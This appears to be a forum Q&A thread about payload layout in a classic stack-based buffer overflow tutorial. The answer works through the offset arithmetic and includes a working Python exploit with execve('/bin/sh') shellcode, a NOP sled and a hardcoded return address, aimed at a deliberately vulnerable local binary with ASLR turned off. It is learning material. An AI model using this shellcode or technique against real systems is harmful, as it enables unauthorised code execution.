Why is this the structure of the exploit

Question

So I tried following a tutorial: https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

I was struggling with figuring out the order of the exploit code, atleast in someway.

I don't get the reason for first putting NOPS and then only the Shell-code, and I couldn't figure out the reason not to first put the shellcode in the buf and then junk + ret address. I assumed it's to save the memory address calculations, but is it really the reason? isn't it simpler just to work with the stack you've already got (like not going 'beyond' the return-address)? Why not make the malicious buffer to be: Shellcode + Junk + ret-address(to the shellcode beginning) ? is it because of the somewhat complex memory addresses calculations ...? Hopefully I made myself clear.

Thank you in advance.

Edit:

An identical example (identical to the code I ran):

https://github.com/jivoi/junk/blob/master/pwnerrank/binary-exploitation/stack-based-buffer-overflow-code-execution.c

Answer 1

I found a solution to my problem.

So, first of all, this is possible to exploit it only within the stack's range (meaning that I only used the memory that is between the buffer and the return address that sits in the stack,in order to execute code), and it does require some extra calculations, but it feels that it is somewhat "cleaner", probably there is no difference but it still works.

The problem with the non-shell was just me not noticing that I haven't actually sudo'd the "echo 0 > /proc/sys/kernel/randomize_va_space", and it did not run.

I'm adding the code for the exploit that uses the stack only. I had to find ESP and first put 100 NOPs, then the code, afterwards some junk (A's) and finally the return address.

I knew the sizes using the following: I know if I 'junk' everything up to the return address (including), that'd be 268+4 (272) bytes. Also, my shellcode is 25 bytes long, and the NOPs are 100 bytes long all together. I have to also remember that the return address is 4 bytes long, so in total:

I need to fill: First 100 bytes with NOPs, then, 25 bytes with shell-code, afterwards I'm left with yet to be calculated junk chunk, and finally 4 bytes of return address.

I can conclude that the junk chunk needs to be: 272-(100+25+4)=143 bytes long. So, what I did was copy "A" 143 times.

The address 0xbffff164 is derived from the fact that the beginning of where the buffer will sit is 0xbffff210-272, and because the first 100 bytes are for the NOPs, we add 100, and we end up with 0xbffff164.

This is the code I'm left with, it exploits the same vulnerability, only without going beyond the return-address (don't really know if it matters, it feels more clean to me, although it required more calculations):

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff210    # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be) 

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

buf = "\x90" * 100
buf += scode
buf += "A"*143
buf += conv(0xbffff164)

print "Calling vulnerable program"
call(["./vuln", buf])